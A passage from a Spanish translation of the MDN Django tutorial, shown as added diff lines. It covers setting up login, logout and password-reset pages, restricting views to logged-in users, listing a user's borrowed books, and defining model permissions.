+<pre class="brush: python notranslate">#Add Django site authentication urls (for login, logout, password management)
+urlpatterns += [
+    path('accounts/', include('django.contrib.auth.urls')),
+]
+</pre>
+
+<p>Navega hasta la URL <a href="http://127.0.0.1:8000/accounts/">http://127.0.0.1:8000/accounts/</a> (¡Nota la barra inclinada hacia adelante!) y Django mostrara un error, diciendo que no puede encontrar esta URL, y listando todas las URL's que ha intentado. Aqui puedes ver las URL's que funcionaran, por ejemplo:</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Usando el metodo anterior, añade las siguientes URL's con sus respectivos nombres entre corchetes, los cuales pueden ser usados para revertir "reverse" el mapeado de las URL's.  No necesitas implementar nada mas, el anterior mapeado de URL's asigna automaticamente las mencionadas URL's.</p>
+</div>
+
+<div class="note">
+<pre class="brush: python notranslate">^accounts/login/$ [name='login']
+^accounts/logout/$ [name='logout']
+^accounts/password_change/$ [name='password_change']
+^accounts/password_change/done/$ [name='password_change_done']
+^accounts/password_reset/$ [name='password_reset']
+^accounts/password_reset/done/$ [name='password_reset_done']
+^accounts/reset/(?P&lt;uidb64&gt;[0-9A-Za-z_\-]+)/(?P&lt;token&gt;[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$ [name='password_reset_confirm']
+^accounts/reset/done/$ [name='password_reset_complete']</pre>
+</div>
+
+<p>Ahora intenta navegar a la URL de inicio de sesion "login"(<a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>). Esto fallara de nuevo, pero ahora con un error diciendote que no encuentra la plantilla "template" requerida (<strong>registration/login.html</strong>) por el buscador de directorios de plantillas . Veras el las siguientes lineas en la seccion amarilla en la parte superior:</p>
+
+<pre class="brush: python notranslate">Exception Type:    TemplateDoesNotExist
+Exception Value:    <strong>registration/login.html</strong></pre>
+
+<p>El siguiente paso es crear un directorio de registro en la busqueda de directorios y entonces agregar el archivo <strong>login.html.</strong></p>
+
+<h3 id="Directorio_de_plantilla_template">Directorio de plantilla "template"</h3>
+
+<p>Las URL's (y vistas "views" implicitas) que recien hemos añadido esperan encontrar sus plantillas "templates" asociadas en un directorio "<strong>/registration/"</strong> en algún lugar de la ruta de búsqueda de plantillas</p>
+
+<p>Para este sitio pondremos nuestra pagina HTML en el directorio <strong>"templates/registration/". </strong>Este directorio debera estar en el directorio raiz de tu proyecto, es decir, el mismo directorio de las carpetas donde estan <strong>catalog </strong>y <strong>locallibrary</strong>. Por favor ahora crea las carpetas "templates" y dentro de esta "registration".</p>
+
+<div class="note">
+<p><strong>Note:</strong> Your folder structure should now look like the below:<br>
+ locallibrary (django project folder)<br>
+    |_catalog<br>
+    |_locallibrary<br>
+    |_templates <strong>(new)</strong><br>
+                 |_registration</p>
+</div>
+
+<p>Para hacer estos directorios visibles al cargador de plantillas (es decir introducir este directorio en el buscador de directorios de plantillas) abre el archivo de configuracion del proyecto setting.py (<strong>/locallibrary/locallibrary/settings.py)</strong>, y actualiza la seccion de <strong>TEMPLATES </strong>con la linea <strong>'DIRS'</strong> como se muestra a continuacion.</p>
+
+<pre class="brush: python notranslate">TEMPLATES = [
+    {
+        ...
+<strong>        'DIRS': ['./templates',],</strong>
+        'APP_DIRS': True,
+        ...
+</pre>
+
+<h3 id="Plantilla_inicio_de_sesión_login">Plantilla inicio de sesión "login"</h3>
+
+<div class="warning">
+<p><strong>Importante</strong>: Las plantillas de autenticacion provista en este articulo son versiones muy basicas y ligeramete modificadas de las plantillas de inicio de sesion de demostracion de Django. ¡Necesitas personalizarlos para tus propios usos!</p>
+</div>
+
+<p>Crea un nuevo archivo HTML llamado /<strong>locallibrary/templates/registration/login.html</strong>. suministrado en el siguiente contenido :</p>
+
+<pre class="brush: html notranslate">{% extends "base_generic.html" %}
+
+{% block content %}
+
+{% if form.errors %}
+&lt;p&gt;Your username and password didn't match. Please try again.&lt;/p&gt;
+{% endif %}
+
+{% if next %}
+    {% if user.is_authenticated %}
+    &lt;p&gt;Your account doesn't have access to this page. To proceed,
+    please login with an account that has access.&lt;/p&gt;
+    {% else %}
+    &lt;p&gt;Please login to see this page.&lt;/p&gt;
+    {% endif %}
+{% endif %}
+
+&lt;form method="post" action="{% url 'login' %}"&gt;
+{% csrf_token %}
+
+&lt;div&gt;
+  &lt;td&gt;\{{ form.username.label_tag }}&lt;/td&gt;
+  &lt;td&gt;\{{ form.username }}&lt;/td&gt;
+&lt;/div&gt;
+&lt;div&gt;
+  &lt;td&gt;\{{ form.password.label_tag }}&lt;/td&gt;
+  &lt;td&gt;\{{ form.password }}&lt;/td&gt;
+&lt;/div&gt;
+
+&lt;div&gt;
+  &lt;input type="submit" value="login" /&gt;
+  &lt;input type="hidden" name="next" value="\{{ next }}" /&gt;
+&lt;/div&gt;
+&lt;/form&gt;
+
+{# Assumes you setup the password_reset view in your URLconf #}
+&lt;p&gt;&lt;a href="{% url 'password_reset' %}"&gt;Lost password?&lt;/a&gt;&lt;/p&gt;
+
+{% endblock %}</pre>
+
+<p id="sect1">Estas plantillas comparten algunas similitudes con algunas que hemos visto antes — extiende nuestra plantilla base y sobreescribe el bloque <code>content</code>. El resto del código es un código de manejo de formularios bastante estándar, que trataremos en un tutorial posterior. Todo lo que necesitas saber por ahora es que esto mostrará un formulario en el que puedes introducir tu usuario y contraseña, y que si introduces valores inválidos se te pedirá que ingreses los valores correctos cuando la página refresque.</p>
+
+<p>Navega de vuelta a la página de inicio sesión (<a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>) una vez que hayas guardado tu plantilla, y deberías ver algo como esto:</p>
+
+<p><img alt="Library login page v1" src="https://mdn.mozillademos.org/files/14101/library_login.png" style="border-style: solid; border-width: 1px; display: block; height: 173px; margin: 0px auto; width: 441px;"></p>
+
+<p>Si intentas iniciar sesión tendrá éxito y serás redirigido a otra página (por defecto será <a href="http://127.0.0.1:8000/accounts/profile/">http://127.0.0.1:8000/accounts/profile/</a>). El problema aquí es que, por defecto, Django espera que después de iniciar sesión seas llevado a una página de perfil (que podrá ser el caso o no). Como no has definido esta página todavía, ¡obtendrás otro error!</p>
+
+<p>Abre la configuración del proyecto (<strong>/locallibrary/locallibrary/settings.py</strong>) y añade al final el texto de abajo. Ahora cuando inicies sesión deberías ser redirigido a la página de inicio por defecto.</p>
+
+<pre class="brush: python notranslate"># Redirect to home URL after login (Default redirects to /accounts/profile/)
+LOGIN_REDIRECT_URL = '/'
+</pre>
+
+<h3 id="Plantilla_cierre_de_sesión_logout">Plantilla cierre de sesión "logout"</h3>
+
+<p>Si navegas a la url de cierre de sesión (<a href="http://127.0.0.1:8000/accounts/logout/">http://127.0.0.1:8000/accounts/logout/</a>) verás un extraño comportamiento — tu usuario cerrará la sesión, pero serás llevado a la página de cierre de sesión del <strong>Administrador</strong>. Eso no es lo que quieres, aunque sólo sea porque el enlace de inicio de sesión de esa página te lleva a la pantalla del inicio de sesión del Administrador (y eso sólo está disponible a los usuarios que tienen el permiso <code>is_staff</code>).</p>
+
+<p>Crea y abre el fichero /<strong>locallibrary/templates/registration/logged_out.html</strong>. Copia en él el siguiente texto:</p>
+
+<pre class="brush: html notranslate">{% extends "base_generic.html" %}
+
+{% block content %}
+&lt;p&gt;Logged out!&lt;/p&gt;
+
+&lt;a href="{% url 'login'%}"&gt;Click here to login again.&lt;/a&gt;
+{% endblock %}</pre>
+
+<p>Esta plantilla es muy simple. Tan sólo muestra un mensaje informándote que has cerrado sesión, y provee un enlace que puedes pulsar para volver a la página de inicio de sesión. Si vas a la url de cierre de sesión otra vez, deberías ver esta página:</p>
+
+<p><img alt="Library logout page v1" src="https://mdn.mozillademos.org/files/14103/library_logout.png" style="border-style: solid; border-width: 1px; display: block; height: 169px; margin: 0px auto; width: 385px;"></p>
+
+<h3 id="Plantillas_de_reinicio_de_contraseña_Password_reset">Plantillas de reinicio de contraseña "Password reset"</h3>
+
+<p>El sistema de reinicio de contraseña usa el correo electrónico para enviar al usuario un enlace de reinicio. Necesitas crear formularios para obtener la dirección de correo electrónico del usuario, enviar el correo, permitirle introducir una nueva contraseña y tenerla en cuenta cuando todo el proceso se haya completado.</p>
+
+<p>Las siguientes plantillas pueden usarse como un punto de partida.</p>
+
+<h4 id="Formulario_de_reinicio_de_contraseña">Formulario de reinicio de contraseña</h4>
+
+<p>Este es el formulario para obtener la dirección del correo electrónico del usuario (para enviar el correo de reinicio de contraseña). Crea <strong>/locallibrary/templates/registration/password_reset_form.html</strong>, y establece el siguiente contenido:</p>
+
+<pre class="brush: html notranslate">{% extends "base_generic.html" %}
+{% block content %}
+
+&lt;form action="" method="post"&gt;{% csrf_token %}
+    {% if form.email.errors %} \{{ form.email.errors }} {% endif %}
+        &lt;p&gt;\{{ form.email }}&lt;/p&gt;
+    &lt;input type="submit" class="btn btn-default btn-lg" value="Reset password" /&gt;
+&lt;/form&gt;
+
+{% endblock %}
+</pre>
+
+<h4 id="Reinicio_de_contraseña_hecho">Reinicio de contraseña hecho</h4>
+
+<p>Este formulario es mostrado después de que tu dirección de correo electrónico haya sido recogida. Crea <strong>/locallibrary/templates/registration/password_reset_done.html</strong>, y establece el siguiente contenido:</p>
+
+<pre class="brush: html notranslate">{% extends "base_generic.html" %}
+{% block content %}
+&lt;p&gt;We've emailed you instructions for setting your password. If they haven't arrived in a few minutes, check your spam folder.&lt;/p&gt;
+{% endblock %}
+</pre>
+
+<h4 id="Correo_electrónico_de_reinicio_de_contraseña">Correo electrónico de reinicio de contraseña</h4>
+
+<p>Esta plantilla suministra el texto HTML del correo electrónico, y contiene el enlace de reseteo que enviaremos a los usuarios. Crea <strong>/locallibrary/templates/registration/password_reset_email.html</strong>, y establece el siguiente contenido:</p>
+
+<pre class="brush: html notranslate">Someone asked for password reset for email \{{ email }}. Follow the link below:
+\{{ protocol}}://\{{ domain }}{% url 'password_reset_confirm' uidb64=uid token=token %}
+</pre>
+
+<h4 id="Confirmación_de_reinicio_de_contraseña">Confirmación de reinicio de contraseña</h4>
+
+<p>Esta página es donde introduces una nueva contraseña después de pinchar el enlace en el correo electrónico de reinicio de contraseña. Crea <strong>/locallibrary/templates/registration/password_reset_confirm.html</strong>, y establece el siguiente contenido:</p>
+
+<pre class="brush: html notranslate">{% extends "base_generic.html" %}
+
+{% block content %}
+
+    {% if validlink %}
+        &lt;p&gt;Please enter (and confirm) your new password.&lt;/p&gt;
+        &lt;form action="" method="post"&gt;
+            &lt;div style="display:none"&gt;
+                &lt;input type="hidden" value="\{{ csrf_token }}" name="csrfmiddlewaretoken"&gt;
+            &lt;/div&gt;
+            &lt;table&gt;
+                &lt;tr&gt;
+                    &lt;td&gt;\{{ form.new_password1.errors }}
+                        &lt;label for="id_new_password1"&gt;New password:&lt;/label&gt;&lt;/td&gt;
+                    &lt;td&gt;\{{ form.new_password1 }}&lt;/td&gt;
+                &lt;/tr&gt;
+                &lt;tr&gt;
+                    &lt;td&gt;\{{ form.new_password2.errors }}
+                        &lt;label for="id_new_password2"&gt;Confirm password:&lt;/label&gt;&lt;/td&gt;
+                    &lt;td&gt;\{{ form.new_password2 }}&lt;/td&gt;
+                &lt;/tr&gt;
+                &lt;tr&gt;
+                    &lt;td&gt;&lt;/td&gt;
+                    &lt;td&gt;&lt;input type="submit" value="Change my password" /&gt;&lt;/td&gt;
+                &lt;/tr&gt;
+            &lt;/table&gt;
+        &lt;/form&gt;
+    {% else %}
+        &lt;h1&gt;Password reset failed&lt;/h1&gt;
+        &lt;p&gt;The password reset link was invalid, possibly because it has already been used. Please request a new password reset.&lt;/p&gt;
+    {% endif %}
+
+{% endblock %}
+</pre>
+
+<h4 id="Reinicio_de_contraseña_completado">Reinicio de contraseña completado</h4>
+
+<p>Este es el último paso de la plantilla de reinicio de contraseña, que es mostrada para notificarte cuando el reinicio de contraseña ha tenido éxito. Crea <strong>/locallibrary/templates/registration/password_reset_complete.html</strong>, y establece el siguiente contenido:</p>
+
+<pre class="brush: html notranslate">{% extends "base_generic.html" %}
+{% block content %}
+
+&lt;h1&gt;The password has been changed!&lt;/h1&gt;
+&lt;p&gt;&lt;a href="{% url 'login' %}"&gt;log in again?&lt;/a&gt;&lt;/p&gt;
+
+{% endblock %}</pre>
+
+<h3 id="Probando_las_nuevas_páginas_de_autenticación">Probando las nuevas páginas de autenticación</h3>
+
+<p>Ahora que has añadido la configuración URL y creado todas estas plantillas, ¡las páginas de autenticación ahora deberían funcionar!</p>
+
+<p>Puedes probar las nuevas páginas de autenticación intentando iniciar sesión y entonces cerrar sesión con tu cuenta de super administrador usando estas URLs:</p>
+
+<ul>
+ <li><a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a></li>
+ <li><a href="http://127.0.0.1:8000/accounts/logout/">http://127.0.0.1:8000/accounts/logout/</a></li>
+</ul>
+
+<p>Serás capaz de probar la funcionalidad de reinicio de contraseña desde el enlace de la página de inicio de sesión. <strong>¡Ten cuidado con el hecho de que Django solamente enviará correos de reinicio a las direcciones (usuarios) que ya están almacenadas en la base de datos!</strong></p>
+
+<div class="note">
+<p><strong>Nota</strong>: El sistema de reinicio de contraseña requiere que tu sitio web soporte envío de correo, que está más allá del ámbito de este artículo, por lo que esta parte <strong>no funcionará todavía</strong>. Para permitir el testeo, establece la siguiente línea al final de tu fichero settings.py. Esto registra en la consola cualquier envío de correo electrónico (y así puedes copiar el enlace de reinicio de contraseña desde dicha consola).</p>
+
+<pre class="brush: python notranslate">EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'
+</pre>
+
+<p>Para más información, ver <a href="https://docs.djangoproject.com/en/1.10/topics/email/">Sending email</a> (Django docs).</p>
+</div>
+
+<h2 id="Probando_contra_usuarios_autenticados">Probando contra usuarios autenticados</h2>
+
+<p>Esta sección mira a lo que podemos hacer para controlar selectivamente el contenido que el usuario ve basado en si ha iniciado sesión o no.</p>
+
+<h3 id="Probando_en_plantillas">Probando en plantillas</h3>
+
+<p>Puedes obtener información en las plantillas sobre el usuario que actualmente ha iniciado sesión con la variable de plantillas <code>\{{ user }}</code> (esto se añade por defecto al contexto de la plantilla cuando configuras el proyecto como hicimos en nuestro esqueleto).</p>
+
+<p>Es típico que primero pruebes con la variable de plantilla <code>\{{ user.is_authenticated }}</code> para determinar si el usuario puede ver el contenido específico. Para demostrar esto, lo siguiente que haremos será actualizar nuestra barra lateral "sidebar" para mostrar un enlace de inicio de sesión "Login" si el usuario no ha iniciado sesión, y un cierre de sesión "Logout" en el caso de que sí la haya iniciado.</p>
+
+<p>Abre la plantilla base (<strong>/locallibrary/catalog/templates/base_generic.html</strong>) y copia el siguiente texto en el bloque <code>sidebar</code>, justamente antes de la etiqueta de plantilla <code>endblock</code> .</p>
+
+<pre class="brush: html notranslate">  &lt;ul class="sidebar-nav"&gt;
+
+    ...
+
+   <strong>{% if user.is_authenticated %}</strong>
+     &lt;li&gt;User: <strong>\{{ user.get_username }}</strong>&lt;/li&gt;
+     &lt;li&gt;&lt;a href="{% url 'logout'%}?next=\{{request.path}}"&gt;Logout&lt;/a&gt;&lt;/li&gt;
+   <strong>{% else %}</strong>
+     &lt;li&gt;&lt;a href="{% url 'login'%}?next=\{{request.path}}"&gt;Login&lt;/a&gt;&lt;/li&gt;
+   <strong>{% endif %} </strong>
+  &lt;/ul&gt;</pre>
+
+<p>Como puedes ver, usamos las etiquetas de plantilla <code>if</code>-<code>else</code>-<code>endif</code> para condicionar el texto mostrado basado en si <code>\{{ user.is_authenticated }}</code> es cierto o no. Si el usuario está autenticado, sabemos que tenemos un usuario válido, por lo que llamamos a <strong>\{{ user.get_username }} </strong>para mostrar su nombre.</p>
+
+<p>Creamos los enlaces URLs del inicio y del cierre de sesión usando la etiqueta de plantilla <code>url</code> y los nombres de las respectivas configuraciones de las URL. Nótese también cómo hemos añadido <code>?next=\{{request.path}}</code> al final de las URLs. Lo que esto hace es añadir el párametro URL <font face="Consolas, Liberation Mono, Courier, monospace">next</font> que contiene la dirección (URL) de la página <em>actual</em>, al final de la URL enlazada. Después de que el usuario haya iniciado o cerrado sesión con éxito, las vistas usarán el valor de este "<code>next</code>" para redirigir al usuario de vuelta a la página donde pincharon primeramente el enlace de inicio/cierre de sesión.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: ¡Pruébalo! Si estás en la página de inicio y pinchas en la barra lateral "sidebar", después de que la operación se complete deberías acabar de vuelta en la misma página.</p>
+</div>
+
+<h3 id="Probando_en_vistas">Probando en vistas</h3>
+
+<p>Si estás usando vistas basadas en funciones, la forma más facil para restringir el acceso a tus funciones es aplicar el decorador <code>login_required</code> a tu función de vista, como se muestra más abajo. Si el usuario ha iniciado sesión entonces tu código de vista se ejecutará como normalmente lo hace. Si el usuario no ha iniciado sesión, se redirigirá a la URL de inicio de sesión definida en tu configuración de proyecto (<code>settings.LOGIN_URL</code>), pasando el directorio absoluto actual como el parámetro URL <code>next</code>. Si el usuario tiene éxito en el inicio de sesión entonces será devuelto a esta página, pero esta vez autenticado.</p>
+
+<pre class="brush: python notranslate">from django.contrib.auth.decorators import login_required
+
+@login_required
+def my_view(request):
+    ...</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> ¡Tú puedes hacer el mismo tipo de cosas manualmente probando con <code>request.user.is_authenticated</code>, pero el decorador es mucho más conveniente!</p>
+</div>
+
+<p>De manera similar, la forma más fácil de restringir el acceso a los usuarios que han iniciado sesión en tus vistas basadas en clases es extender de <code>LoginRequiredMixin</code>. Necesitas declarar primeramente este <code>mixin </code>en la lista de super clases, antes de la clase de vista principal.</p>
+
+<pre class="brush: python notranslate">from django.contrib.auth.mixins import LoginRequiredMixin
+
+class MyView(LoginRequiredMixin, View):
+    ...</pre>
+
+<p>Esto tiene exactamente el mismo comportamiento de redirección que el decorador <code>login_required</code>. También puedes especificar una localización alternativa para redirigir al usuario si no están autenticados (<code>login_url</code>), y un nombre de parámetro URL en lugar de "<code>next</code>" para insertar el directorio absoluto actual (<code>redirect_field_name</code>).</p>
+
+<pre class="brush: python notranslate">class MyView(LoginRequiredMixin, View):
+    login_url = '/login/'
+    redirect_field_name = 'redirect_to'
+</pre>
+
+<p>Para detalles adicionales, echa un vistazo a <a href="https://docs.djangoproject.com/en/1.10/topics/auth/default/#limiting-access-to-logged-in-users">Django docs</a>.</p>
+
+<h2 id="Ejemplo_-_listando_los_libros_del_usuario_actual">Ejemplo - listando los libros del usuario actual</h2>
+
+<p>Ahora que sabemos cómo restringir una página a un usuario concreto, vamos a crear una vista de los libros que el usuario tiene prestados actualmente.</p>
+
+<p>Desafortunadamente, ¡todavía no tenemos una forma de pedir prestados los libros a los usuarios! Por eso, antes de que podamos crear la lista de libros vamos primeramente a extender el modelo <code>BookInstance</code> para dar soporte al concepto de pedir prestado y usar la aplicación del Administrador Djando para alquilar un número de libros a nuestro usuario de prueba.</p>
+
+<h3 id="Modelos">Modelos</h3>
+
+<p>Primero vamos a hacer posible para los usuarios tener una <code>BookInstance</code> en alquiler (ya tenemos un <code>status</code> y una fecha <code>due_back</code>, pero no tenemos todavía una asociación entre este modelo y un Usuario). Crearemos uno usando un campo <code>ForeignKey</code> (uno-a-muchos). También necesitaremos un mecanismo sencillo para probar si un libro alquilado está atrasado.</p>
+
+<p>Abre <strong>catalog/models.py</strong>, e importa el modelo <code>User</code> de <code>django.contrib.auth.models</code> (añade esto justamente debajo de la anterior línea de importación, arriba del todo del fichero, para que el <code>User</code> esté disponible para el posterior código del que hace uso):</p>
+
+<pre class="brush: python notranslate">from django.contrib.auth.models import User
+</pre>
+
+<p>Después añade el campo <code>borrower</code> al modelo <code>BookInstance</code>:</p>
+
+<pre class="brush: python notranslate">borrower = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True)
+</pre>
+
+<p>Ya que estamos aquí, vamos a añadir una propiedad que podamos llamar desde nuestras plantillas para decir si una instancia particular de un libro está atrasada. Mientras que podríamos calcular esto en la misma plantilla, usar una propiedad (<a href="https://docs.python.org/3/library/functions.html#property">property</a>) como se muestra abajo será mucho más eficiente.</p>
+
+<pre class="brush: python notranslate">from datetime import date
+
+@property
+def is_overdue(self):
+    if self.due_back and date.today() &gt; self.due_back:
+        return True
+    return False</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Primeramente verificamos si la fecha <code>due_back</code> está vacía antes de realizar una comparación. Un campo vacío <code>due_back</code> provocaría a Django arrojar un error en lugar de mostrar la página: los valores vacíos no son comparables. ¡Esto no es algo que queramos para la experiencia de nuestros usuarios!</p>
+</div>
+
+<p>Ahora que hemos actualizado nuestros modelos, necesitaremos hacer migraciones actuales en el proyecto y entonces aplicar esas migraciones:</p>
+
+<pre class="brush: bash notranslate">python3 manage.py makemigrations
+python3 manage.py migrate
+</pre>
+
+<h3 id="Administrador">Administrador</h3>
+
+<p>Ahora abre <strong>catalog/admin.py</strong>, y añade el campo <code>borrower</code> a la clase <code>BookInstanceAdmin</code> en ambas <code>list_display</code> y <code>fieldsets</code> como se muestra abajo. Esto hará el campo visible en la sección de Administrador, por lo que podemos asignar un <code>User</code> a una <code>BookInstance</code> cuando lo necesitemos.</p>
+
+<pre class="brush: python notranslate">@admin.register(BookInstance)
+class BookInstanceAdmin(admin.ModelAdmin):
+    list_display = ('book', 'status'<strong>, 'borrower'</strong>, 'due_back', 'id')
+    list_filter = ('status', 'due_back')
+
+    fieldsets = (
+        (None, {
+            'fields': ('book','imprint', 'id')
+        }),
+        ('Availability', {
+            'fields': ('status', 'due_back'<strong>,'borrower'</strong>)
+        }),
+    )</pre>
+
+<h3 id="Alquilar_unos_pocos_libros">Alquilar unos pocos libros</h3>
+
+<p>Ahora que es posible alquilar libros a un usuario específico, ve y alquila un número de registros <code>BookInstance</code>. Establece su campo <code>borrowed</code> a tu usuario de prueba, establece el <code>status</code> "On loan" (en alquiler) y establece fechas de vencimiento tanto en el futuro como en el pasado.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: No escribiremos el proceso, porque ¡ya sabes cómo usar el sitio de Administrador!</p>
+</div>
+
+<h3 id="Vista_en_alquiler">Vista en alquiler</h3>
+
+<p>Ahora añadiremos una vista para obtener la lista de todos los libros que han sido alquilados al usuario actual. Usaremos la misma vista de lista genérica basada en clases con la que estamos familiarizada, pero esta vez también importaremos y extenderemos de <code>LoginRequiredMixin</code>, por lo que solamente un usuario que ha iniciado sesión podrá llamar a esta vista. También elegiremos declarar una <code>template_name</code> en lugar de usar la de por defecto, porque quizás acabemos teniendo unas pocas listas diferentes de registros de BookInstance, con diferentes vistas y plantillas.</p>
+
+<p>Añade lo siguiente a catalog/views.py:</p>
+
+<pre class="brush: python notranslate">from django.contrib.auth.mixins import LoginRequiredMixin
+
+class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView):
+    """
+    Generic class-based view listing books on loan to current user.
+    """
+    model = BookInstance
+    template_name ='catalog/bookinstance_list_borrowed_user.html'
+    paginate_by = 10
+
+    def get_queryset(self):
+        return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due_back')</pre>
+
+<p>Para restringir nuestra consulta a solamente los objetos BookInstance del usuario actual, vamos a reimplementar <code>get_queryset()</code> como se muestra abajo. Nótese que "o" es el código almacenado para "on loan" (en alquiler) y vamos a ordenar por la fecha <code>due_back</code> para que los elementos más antiguos se muestren primero.</p>
+
+<h3 id="Configuración_URL_para_libros_alquilados">Configuración URL para libros alquilados</h3>
+
+<p>Ahora abre <strong>/catalog/urls.py</strong> y añade la url <code>url()</code> apuntando a la vista anterior (puedes simplemente copiar el texto de abajo al final del fichero).</p>
+
+<pre class="brush: python notranslate">urlpatterns += [
+    url(r'^mybooks/$', views.LoanedBooksByUserListView.as_view(), name='my-borrowed'),
+]</pre>
+
+<h3 id="Plantilla_para_libros_alquilados">Plantilla para libros alquilados</h3>
+
+<p>Ahora todo lo que necesitamos hacer para esta página es añadir una plantilla. Primero, creamos el fichero plantilla <strong>/catalog/templates/catalog/bookinstance_list_borrowed_user.html</strong> y establecemos el siguiente contenido en ella:</p>
+
+<pre class="brush: python notranslate">{% extends "base_generic.html" %}
+
+{% block content %}
+    &lt;h1&gt;Borrowed books&lt;/h1&gt;
+
+    {% if bookinstance_list %}
+    &lt;ul&gt;
+
+      {% for bookinst in bookinstance_list %}
+      &lt;li class="{% if bookinst.is_overdue %}text-danger{% endif %}"&gt;
+        &lt;a href="{% url 'book-detail' bookinst.book.pk %}"&gt;\{{bookinst.book.title}}&lt;/a&gt; (\{{ bookinst.due_back }})
+      &lt;/li&gt;
+      {% endfor %}
+    &lt;/ul&gt;
+
+    {% else %}
+      &lt;p&gt;There are no books borrowed.&lt;/p&gt;
+    {% endif %}
+{% endblock %}</pre>
+
+<p>Esta plantilla es muy similar a esas que hemos creado previamente para los objetos <code>Book</code> y <code>Author</code>. La única "cosa" nueva aquí es que comprobamos el método que hemos añadido en el modelo <code>(bookinst.is_overdue</code>) y lo usamos para cambiar el color de los elementos atrasados.</p>
+
+<p>Cuando el servidor de desarrollo esté en ejecución, deberías ser capaz de ver la lista de los usuarios que han iniciado sesión en tu navegador en <a href="http://127.0.0.1:8000/catalog/mybooks/">http://127.0.0.1:8000/catalog/mybooks/</a>. Prueba esto con tu usuario iniciado en la sesión y cerrado en la sesión (en el segundo caso, deberías ser redirigido a la página de inicio).</p>
+
+<h3 id="Añadir_la_lista_a_la_barra_lateral">Añadir la lista a la barra lateral</h3>
+
+<p>El último paso es añadir un enlace para esta nueva página en la barra lateral "sidebar". Pondremos esto en la misma sección donde mostramos otra información para el usuario que ha iniciado la sesión.</p>
+
+<p>Abre la plantilla base (<strong>/locallibrary/catalog/templates/base_generic.html</strong>) y añade la línea en negrita a la barra lateral como se muestra.</p>
+
+<pre class="brush: python notranslate"> &lt;ul class="sidebar-nav"&gt;
+   {% if user.is_authenticated %}
+   &lt;li&gt;User: \{{ user.get_username }}&lt;/li&gt;
+<strong>   &lt;li&gt;&lt;a href="{% url 'my-borrowed' %}"&gt;My Borrowed&lt;/a&gt;&lt;/li&gt;</strong>
+   &lt;li&gt;&lt;a href="{% url 'logout'%}?next=\{{request.path}}"&gt;Logout&lt;/a&gt;&lt;/li&gt;
+   {% else %}
+   &lt;li&gt;&lt;a href="{% url 'login'%}?next=\{{request.path}}"&gt;Login&lt;/a&gt;&lt;/li&gt;
+   {% endif %}
+ &lt;/ul&gt;
+</pre>
+
+<h3 id="¿Cómo_se_ve">¿Cómo se ve?</h3>
+
+<p>Cuando cualquier usuario ha iniciado sesión, verán el enlace <em>My Borrowed</em> (Mis Alquileres) en la barra lateral, y la lista de libros mostrados como se ve abajo (¡el primer libro no tiene fecha de vencimiento, que es un bug que esperamos arreglar en un tutorial posterior!).</p>
+
+<p><img alt="Library - borrowed books by user" src="https://mdn.mozillademos.org/files/14105/library_borrowed_by_user.png" style="border-style: solid; border-width: 1px; display: block; height: 215px; margin: 0px auto; width: 530px;"></p>
+
+<h2 id="Permisos">Permisos</h2>
+
+<p>Los permisos están asociados con los modelos, y definen las operaciones que pueden llevarse a cabo en un modelo instanciado por un usuario que tiene el permiso. Por defecto, Django automáticamente da los permisos <em>add</em>, <em>change</em>, and <em>delete</em> (añadir, cambiar y eliminar) a todos los modelos, que permiten a los usuarios con los permisos realizar las acciones asociadas a través del sitio de Administrador. Tú puedes definir tus propios permisos a los modelos y concedérselos a usuarios específicos. También puedes cambiar los permisos asociados con diferentes instancias del mismo modelo.</p>
+
+<p>Probar permisos en vistas y plantillas es muy similar a probar sobre el estado de autenticación (y, de hecho, probar un permiso también prueba una autenticación).</p>
+
+<h3 id="Modelos_2">Modelos</h3>
+
+<p>La definición de permisos está hecha en la sección del modelo "<code>class Meta</code>", usando el campo <code>permissions</code>. Puedes especificar tantos permisos como necesites en una tupla, cada permiso está definido a sí mismo en una tupla anidada que contiene el nombre del permiso y el valor mostrado del mismo. Por ejemplo, podríamos definir un permiso para permitir a un usuario marcar un libro que ya ha sido devuelto, como se muestra:</p>
+
+<pre class="brush: python notranslate">class BookInstance(models.Model):
+    ...
+    class Meta:
+        ...
+<strong>        permissions = (("can_mark_returned", "Set book as returned"),)  </strong> </pre>
+
+<p>Podríamos asignar el permiso a un grupo bibliotecario "Librarian" en el sitio de Administración.</p>
+
+<p>Abre <strong>catalog/models.py</strong>, y añade el permiso como se muestra arriba. Necesitarás volver a ejecutar tus migraciones (ejecutar <code>python3 manage.py makemigrations</code> y <code>python3 manage.py migrate</code>) para actualizar la base de datos de forma apropiada.</p>
+
+<h3 id="Plantillas">Plantillas</h3>
+
+<p>Los permisos del usuario actual están almacenados en una variable de plantilla llamada <code>\{{ perms }}</code>. Puedes comprobar si el usuario actual tiene un permiso particular usando el nombre de variable específico con la "app" asociada en Django — ej. <code>\{{ perms.catalog.can_mark_returned }}</code> será <code>True</code> (cierto) si el usuario tiene el permiso, y <code>False</code> (falso) en otro caso. De forma típica probamos el permiso usando la etiqueta de plantilla <code>{% if %}</code> como se muestra:</p>
+
+<pre class="brush: python notranslate">{% if perms.catalog.<code>can_mark_returned</code> %}
+    &lt;!-- We can mark a BookInstance as returned. --&gt;
+    &lt;!-- Perhaps add code to link to a "book return" view here. --&gt;
+{% endif %}
+</pre>
+
+<h3 id="Vistas">Vistas</h3>
+
+<p>Los permisos pueden ser probados en una vista de función usando el decorador <code>permission_required</code> o en una vista basada en clases usando el <code>PermissionRequiredMixin</code>. El patrón y el comportamiento son los mismos que para la autenticación de inicio de sesión, aunque desde luego podrías razonablemente tener que añadir múltiples permisos.</p>
+
+<p>Decorador de vista de funciones:</p>
+
+<pre class="brush: python notranslate">from django.contrib.auth.decorators import permission_required
+
+@permission_required('catalog.<code>can_mark_returned</code>')
+@permission_required('catalog.<code>can_edit</code>')
+def my_view(request):
+    ...</pre>
+
